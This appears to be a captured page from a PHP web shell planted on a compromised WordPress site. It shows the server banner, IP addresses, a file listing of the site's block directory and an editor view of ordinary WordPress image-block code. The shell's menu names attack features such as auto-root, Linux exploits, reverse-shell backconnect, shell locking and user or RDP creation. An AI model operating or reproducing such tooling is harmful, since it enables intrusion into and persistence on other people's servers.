FreeBSD s15.mydevil.net 14.1-RELEASE-p4 FreeBSD 14.1-RELEASE-p4 #3 releng/14.1-n267709-86d01789bf41-dirty: Thu Sep 5 04:26:54 CEST 2024 root@pkg1.admin.net.pl:/usr/obj/usr/src/amd64.amd64/sys/devil amd64
Apache/N-G-I-N-X-htaccess-support
: 128.204.218.142 | : 18.119.135.53
Cant Read [ /etc/named.conf ]
?8.1.30
art
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
home /
art /
domains /
rotarycup.pl /
public_html /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
archives
[ DIR ]
drwxr-xr-x
?;
audio
[ DIR ]
drwxr-xr-x
?;
avatar
[ DIR ]
drwxr-xr-x
?;
block
[ DIR ]
drwxr-xr-x
?;
button
[ DIR ]
drwxr-xr-x
?;
buttons
[ DIR ]
drwxr-xr-x
?;
calendar
[ DIR ]
drwxr-xr-x
?;
categories
[ DIR ]
drwxr-xr-x
?;
code
[ DIR ]
drwxr-xr-x
?;
column
[ DIR ]
drwxr-xr-x
?;
columns
[ DIR ]
drwxr-xr-x
?;
comment-author-name
[ DIR ]
drwxr-xr-x
?;
comment-content
[ DIR ]
drwxr-xr-x
?;
comment-date
[ DIR ]
drwxr-xr-x
?;
comment-edit-link
[ DIR ]
drwxr-xr-x
?;
comment-reply-link
[ DIR ]
drwxr-xr-x
?;
comment-template
[ DIR ]
drwxr-xr-x
?;
comments
[ DIR ]
drwxr-xr-x
?;
comments-pagination
[ DIR ]
drwxr-xr-x
?;
comments-pagination-next
[ DIR ]
drwxr-xr-x
?;
comments-pagination-numbers
[ DIR ]
drwxr-xr-x
?;
comments-pagination-previous
[ DIR ]
drwxr-xr-x
?;
comments-title
[ DIR ]
drwxr-xr-x
?;
cover
[ DIR ]
drwxr-xr-x
?;
details
[ DIR ]
drwxr-xr-x
?;
embed
[ DIR ]
drwxr-xr-x
?;
file
[ DIR ]
drwxr-xr-x
?;
footnotes
[ DIR ]
drwxr-xr-x
?;
freeform
[ DIR ]
drwxr-xr-x
?;
gallery
[ DIR ]
drwxr-xr-x
?;
group
[ DIR ]
drwxr-xr-x
?;
heading
[ DIR ]
drwxr-xr-x
?;
home-link
[ DIR ]
drwxr-xr-x
?;
html
[ DIR ]
drwxr-xr-x
?;
image
[ DIR ]
drwxr-xr-x
?;
latest-comments
[ DIR ]
drwxr-xr-x
?;
latest-posts
[ DIR ]
drwxr-xr-x
?;
legacy-widget
[ DIR ]
drwxr-xr-x
?;
list
[ DIR ]
drwxr-xr-x
?;
list-item
[ DIR ]
drwxr-xr-x
?;
loginout
[ DIR ]
drwxr-xr-x
?;
media-text
[ DIR ]
drwxr-xr-x
?;
missing
[ DIR ]
drwxr-xr-x
?;
more
[ DIR ]
drwxr-xr-x
?;
navigation
[ DIR ]
drwxr-xr-x
?;
navigation-link
[ DIR ]
drwxr-xr-x
?;
navigation-submenu
[ DIR ]
drwxr-xr-x
?;
nextpage
[ DIR ]
drwxr-xr-x
?;
page-list
[ DIR ]
drwxr-xr-x
?;
page-list-item
[ DIR ]
drwxr-xr-x
?;
paragraph
[ DIR ]
drwxr-xr-x
?;
pattern
[ DIR ]
drwxr-xr-x
?;
post-author
[ DIR ]
drwxr-xr-x
?;
post-author-biography
[ DIR ]
drwxr-xr-x
?;
post-author-name
[ DIR ]
drwxr-xr-x
?;
post-comments-form
[ DIR ]
drwxr-xr-x
?;
post-content
[ DIR ]
drwxr-xr-x
?;
post-date
[ DIR ]
drwxr-xr-x
?;
post-excerpt
[ DIR ]
drwxr-xr-x
?;
post-featured-image
[ DIR ]
drwxr-xr-x
?;
post-navigation-link
[ DIR ]
drwxr-xr-x
?;
post-template
[ DIR ]
drwxr-xr-x
?;
post-terms
[ DIR ]
drwxr-xr-x
?;
post-title
[ DIR ]
drwxr-xr-x
?;
preformatted
[ DIR ]
drwxr-xr-x
?;
pullquote
[ DIR ]
drwxr-xr-x
?;
query
[ DIR ]
drwxr-xr-x
?;
query-no-results
[ DIR ]
drwxr-xr-x
?;
query-pagination
[ DIR ]
drwxr-xr-x
?;
query-pagination-next
[ DIR ]
drwxr-xr-x
?;
query-pagination-numbers
[ DIR ]
drwxr-xr-x
?;
query-pagination-previous
[ DIR ]
drwxr-xr-x
?;
query-title
[ DIR ]
drwxr-xr-x
?;
quote
[ DIR ]
drwxr-xr-x
?;
read-more
[ DIR ]
drwxr-xr-x
?;
rss
[ DIR ]
drwxr-xr-x
?;
search
[ DIR ]
drwxr-xr-x
?;
separator
[ DIR ]
drwxr-xr-x
?;
shortcode
[ DIR ]
drwxr-xr-x
?;
site-logo
[ DIR ]
drwxr-xr-x
?;
site-tagline
[ DIR ]
drwxr-xr-x
?;
site-title
[ DIR ]
drwxr-xr-x
?;
social-link
[ DIR ]
drwxr-xr-x
?;
social-links
[ DIR ]
drwxr-xr-x
?;
spacer
[ DIR ]
drwxr-xr-x
?;
table
[ DIR ]
drwxr-xr-x
?;
tag-cloud
[ DIR ]
drwxr-xr-x
?;
template-part
[ DIR ]
drwxr-xr-x
?;
term-description
[ DIR ]
drwxr-xr-x
?;
text-columns
[ DIR ]
drwxr-xr-x
?;
verse
[ DIR ]
drwxr-xr-x
?;
video
[ DIR ]
drwxr-xr-x
?;
widget-group
[ DIR ]
drwxr-xr-x
archives.php
2.92
KB
-rw-r--r--
avatar.php
5.75
KB
-rw-r--r--
block.php
3.13
KB
-rw-r--r--
blocks-json.php
168.64
KB
-rw-r--r--
button.php
1.76
KB
-rw-r--r--
calendar.php
5.93
KB
-rw-r--r--
categories.php
2.87
KB
-rw-r--r--
comment-author-name.php
2.08
KB
-rw-r--r--
comment-content.php
2.4
KB
-rw-r--r--
comment-date.php
1.6
KB
-rw-r--r--
comment-edit-link.php
1.67
KB
-rw-r--r--
comment-reply-link.php
2.03
KB
-rw-r--r--
comment-template.php
4.39
KB
-rw-r--r--
comments-pagination-next.php
1.85
KB
-rw-r--r--
comments-pagination-numbers.ph...
1.59
KB
-rw-r--r--
comments-pagination-previous.p...
1.64
KB
-rw-r--r--
comments-pagination.php
1.17
KB
-rw-r--r--
comments-title.php
2.71
KB
-rw-r--r--
comments.php
6.61
KB
-rw-r--r--
cover.php
2.49
KB
-rw-r--r--
file.php
2.19
KB
-rw-r--r--
footnotes.php
3.68
KB
-rw-r--r--
gallery.php
6.29
KB
-rw-r--r--
heading.php
1.27
KB
-rw-r--r--
home-link.php
5.6
KB
-rw-r--r--
image.php
11.86
KB
-rw-r--r--
index.php
4.48
KB
-rw-r--r--
latest-comments.php
4.92
KB
-rw-r--r--
latest-posts.php
8.35
KB
-rw-r--r--
legacy-widget.php
3.9
KB
-rw-r--r--
list.php
1.24
KB
-rw-r--r--
loginout.php
1.38
KB
-rw-r--r--
media-text.php
4.16
KB
-rw-r--r--
navigation-link.php
13.21
KB
-rw-r--r--
navigation-submenu.php
9.09
KB
-rw-r--r--
navigation.php
59.26
KB
-rw-r--r--
page-list-item.php
361
B
-rw-r--r--
page-list.php
13.25
KB
-rw-r--r--
pattern.php
2.14
KB
-rw-r--r--
post-author-biography.php
1.49
KB
-rw-r--r--
post-author-name.php
1.78
KB
-rw-r--r--
post-author.php
2.54
KB
-rw-r--r--
post-comments-form.php
2.74
KB
-rw-r--r--
post-content.php
2.11
KB
-rw-r--r--
post-date.php
2.33
KB
-rw-r--r--
post-excerpt.php
3.37
KB
-rw-r--r--
post-featured-image.php
9.14
KB
-rw-r--r--
post-navigation-link.php
4.72
KB
-rw-r--r--
post-template.php
5.61
KB
-rw-r--r--
post-terms.php
3.6
KB
-rw-r--r--
post-title.php
2.09
KB
-rw-r--r--
query-no-results.php
1.8
KB
-rw-r--r--
query-pagination-next.php
3.7
KB
-rw-r--r--
query-pagination-numbers.php
4.66
KB
-rw-r--r--
query-pagination-previous.php
3.1
KB
-rw-r--r--
query-pagination.php
1.15
KB
-rw-r--r--
query-title.php
2.05
KB
-rw-r--r--
query.php
6.16
KB
-rw-r--r--
read-more.php
1.79
KB
-rw-r--r--
require-dynamic-blocks.php
4.01
KB
-rw-r--r--
require-static-blocks.php
501
B
-rw-r--r--
rss.php
3.87
KB
-rw-r--r--
search.php
22.97
KB
-rw-r--r--
shortcode.php
735
B
-rw-r--r--
site-logo.php
6.05
KB
-rw-r--r--
site-tagline.php
1.17
KB
-rw-r--r--
site-title.php
1.77
KB
-rw-r--r--
social-link.php
62.67
KB
-rw-r--r--
tag-cloud.php
1.41
KB
-rw-r--r--
template-part.php
9.86
KB
-rw-r--r--
term-description.php
1.3
KB
-rw-r--r--
widget-group.php
2.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : image.php
<?php /** * Server-side rendering of the `core/image` block. * * @package WordPress */ /** * Renders the `core/image` block on the server, * adding a data-id attribute to the element if core/gallery has added on pre-render. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The block content. * @param WP_Block $block The block object. * * @return string The block content with the data-id attribute added. */ function render_block_core_image( $attributes, $content, $block ) { if ( false === stripos( $content, '<img' ) ) { return ''; } $p = new WP_HTML_Tag_Processor( $content ); if ( ! $p->next_tag( 'img' ) || null === $p->get_attribute( 'src' ) ) { return ''; } $has_id_binding = isset( $attributes['metadata']['bindings']['id'] ) && isset( $attributes['id'] ); // Ensure the `wp-image-id` classname on the image block supports block bindings. if ( $has_id_binding ) { // If there's a mismatch with the 'wp-image-' class and the actual id, the id was // probably overridden by block bindings. Update it to the correct value. // See https://github.com/WordPress/gutenberg/issues/62886 for why this is needed. $id = $attributes['id']; $image_classnames = $p->get_attribute( 'class' ); $class_with_binding_value = "wp-image-$id"; if ( is_string( $image_classnames ) && ! str_contains( $image_classnames, $class_with_binding_value ) ) { $image_classnames = preg_replace( '/wp-image-(\d+)/', $class_with_binding_value, $image_classnames ); $p->set_attribute( 'class', $image_classnames ); } } // For backwards compatibility, the data-id html attribute is only set for // image blocks nested in a gallery. Detect if the image is in a gallery by // checking the data-id attribute. // See the `block_core_gallery_data_id_backcompatibility` function. if ( isset( $attributes['data-id'] ) ) { // If there's a binding for the `id`, the `id` attribute is used for the // value, since `data-id` does not support block bindings. // Else the `data-id` is used for backwards compatibility, since // third parties may be filtering its value. $data_id = $has_id_binding ? $attributes['id'] : $attributes['data-id']; $p->set_attribute( 'data-id', $data_id ); } $link_destination = isset( $attributes['linkDestination'] ) ? $attributes['linkDestination'] : 'none'; $lightbox_settings = block_core_image_get_lightbox_settings( $block->parsed_block ); /* * If the lightbox is enabled and the image is not linked, adds the filter and * the JavaScript view file. */ if ( isset( $lightbox_settings ) && 'none' === $link_destination && isset( $lightbox_settings['enabled'] ) && true === $lightbox_settings['enabled'] ) { $suffix = wp_scripts_get_suffix(); if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) { $module_url = gutenberg_url( '/build/interactivity/image.min.js' ); } wp_register_script_module( '@wordpress/block-library/image', isset( $module_url ) ? $module_url : includes_url( "blocks/image/view{$suffix}.js" ), array( '@wordpress/interactivity' ), defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' ) ); wp_enqueue_script_module( '@wordpress/block-library/image' ); /* * This render needs to happen in a filter with priority 15 to ensure that * it runs after the duotone filter and that duotone styles are applied to * the image in the lightbox. Lightbox has to work with any plugins that * might use filters as well. Removing this can be considered in the future * if the way the blocks are rendered changes, or if a new kind of filter is * introduced. */ add_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15, 2 ); } else { /* * Remove the filter if previously added by other Image blocks. */ remove_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15 ); } return $p->get_updated_html(); } /** * Adds the lightboxEnabled flag to the block data. * * This is used to determine whether the lightbox should be rendered or not. * * @since 6.4.0 * * @param array $block Block data. * * @return array Filtered block data. */ function block_core_image_get_lightbox_settings( $block ) { // Gets the lightbox setting from the block attributes. if ( isset( $block['attrs']['lightbox'] ) ) { $lightbox_settings = $block['attrs']['lightbox']; } if ( ! isset( $lightbox_settings ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ), array( 'block_name' => 'core/image' ) ); // If not present in global settings, check the top-level global settings. // // NOTE: If no block-level settings are found, the previous call to // `wp_get_global_settings` will return the whole `theme.json` structure in // which case we can check if the "lightbox" key is present at the top-level // of the global settings and use its value. if ( isset( $lightbox_settings['lightbox'] ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ) ); } } return $lightbox_settings ?? null; } /** * Adds the directives and layout needed for the lightbox behavior. * * @since 6.4.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * * @return string Filtered block content. */ function block_core_image_render_lightbox( $block_content, $block ) { /* * If there's no IMG tag in the block then return the given block content * as-is. There's nothing that this code can knowingly modify to add the * lightbox behavior. */ $p = new WP_HTML_Tag_Processor( $block_content ); if ( $p->next_tag( 'figure' ) ) { $p->set_bookmark( 'figure' ); } if ( ! $p->next_tag( 'img' ) ) { return $block_content; } $alt = $p->get_attribute( 'alt' ); $img_uploaded_src = $p->get_attribute( 'src' ); $img_class_names = $p->get_attribute( 'class' ); $img_styles = $p->get_attribute( 'style' ); $img_width = 'none'; $img_height = 'none'; $aria_label = __( 'Enlarge image' ); if ( $alt ) { /* translators: %s: Image alt text. */ $aria_label = sprintf( __( 'Enlarge image: %s' ), $alt ); } if ( isset( $block['attrs']['id'] ) ) { $img_uploaded_src = wp_get_attachment_url( $block['attrs']['id'] ); $img_metadata = wp_get_attachment_metadata( $block['attrs']['id'] ); $img_width = $img_metadata['width'] ?? 'none'; $img_height = $img_metadata['height'] ?? 'none'; } // Figure. $p->seek( 'figure' ); $figure_class_names = $p->get_attribute( 'class' ); $figure_styles = $p->get_attribute( 'style' ); $p->add_class( 'wp-lightbox-container' ); $p->set_attribute( 'data-wp-interactive', 'core/image' ); $p->set_attribute( 'data-wp-context', wp_json_encode( array( 'uploadedSrc' => $img_uploaded_src, 'figureClassNames' => $figure_class_names, 'figureStyles' => $figure_styles, 'imgClassNames' => $img_class_names, 'imgStyles' => $img_styles, 'targetWidth' => $img_width, 'targetHeight' => $img_height, 'scaleAttr' => $block['attrs']['scale'] ?? false, 'ariaLabel' => $aria_label, 'alt' => $alt, ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ); // Image. $p->next_tag( 'img' ); $p->set_attribute( 'data-wp-init', 'callbacks.setButtonStyles' ); $p->set_attribute( 'data-wp-on-async--load', 'callbacks.setButtonStyles' ); $p->set_attribute( 'data-wp-on-async-window--resize', 'callbacks.setButtonStyles' ); // Sets an event callback on the `img` because the `figure` element can also // contain a caption, and we don't want to trigger the lightbox when the // caption is clicked. $p->set_attribute( 'data-wp-on-async--click', 'actions.showLightbox' ); $body_content = $p->get_updated_html(); // Adds a button alongside image in the body content. $img = null; preg_match( '/<img[^>]+>/', $body_content, $img ); $button = $img[0] . '<button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="' . esc_attr( $aria_label ) . '" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="context.imageButtonRight" data-wp-style--top="context.imageButtonTop" > <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12"> <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" /> </svg> </button>'; $body_content = preg_replace( '/<img[^>]+>/', $button, $body_content ); add_action( 'wp_footer', 'block_core_image_print_lightbox_overlay' ); return $body_content; } /** * @since 6.5.0 */ function block_core_image_print_lightbox_overlay() { $close_button_label = esc_attr__( 'Close' ); // If the current theme does NOT have a `theme.json`, or the colors are not // defined, it needs to set the background color & close button color to some // default values because it can't get them from the Global Styles. $background_color = '#fff'; $close_button_color = '#000'; if ( wp_theme_has_theme_json() ) { $global_styles_color = wp_get_global_styles( array( 'color' ) ); if ( ! empty( $global_styles_color['background'] ) ) { $background_color = esc_attr( $global_styles_color['background'] ); } if ( ! empty( $global_styles_color['text'] ) ) { $close_button_color = esc_attr( $global_styles_color['text'] ); } } echo <<<HTML <div class="wp-lightbox-overlay zoom" data-wp-interactive="core/image" data-wp-context='{}' data-wp-bind--role="state.roleAttribute" data-wp-bind--aria-label="state.currentImage.ariaLabel" data-wp-bind--aria-modal="state.ariaModal" data-wp-class--active="state.overlayEnabled" data-wp-class--show-closing-animation="state.showClosingAnimation" data-wp-watch="callbacks.setOverlayFocus" data-wp-on--keydown="actions.handleKeydown" data-wp-on-async--touchstart="actions.handleTouchStart" data-wp-on--touchmove="actions.handleTouchMove" data-wp-on-async--touchend="actions.handleTouchEnd" data-wp-on-async--click="actions.hideLightbox" data-wp-on-async-window--resize="callbacks.setOverlayStyles" data-wp-on-async-window--scroll="actions.handleScroll" tabindex="-1" > <button type="button" aria-label="$close_button_label" style="fill: $close_button_color" class="close-button"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="20" height="20" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"></path></svg> </button> <div class="lightbox-image-container"> <figure data-wp-bind--class="state.currentImage.figureClassNames" data-wp-bind--style="state.currentImage.figureStyles"> <img data-wp-bind--alt="state.currentImage.alt" data-wp-bind--class="state.currentImage.imgClassNames" data-wp-bind--style="state.imgStyles" data-wp-bind--src="state.currentImage.currentSrc"> </figure> </div> <div class="lightbox-image-container"> <figure data-wp-bind--class="state.currentImage.figureClassNames" data-wp-bind--style="state.currentImage.figureStyles"> <img data-wp-bind--alt="state.currentImage.alt" data-wp-bind--class="state.currentImage.imgClassNames" data-wp-bind--style="state.imgStyles" data-wp-bind--src="state.enlargedSrc"> </figure> </div> <div class="scrim" style="background-color: $background_color" aria-hidden="true"></div> <style data-wp-text="state.overlayStyles"></style> </div> HTML; } /** * Registers the `core/image` block on server. * * @since 5.9.0 */ function register_block_core_image() { register_block_type_from_metadata( __DIR__ . '/image', array( 'render_callback' => 'render_block_core_image', ) ); } add_action( 'init', 'register_block_core_image' );
Close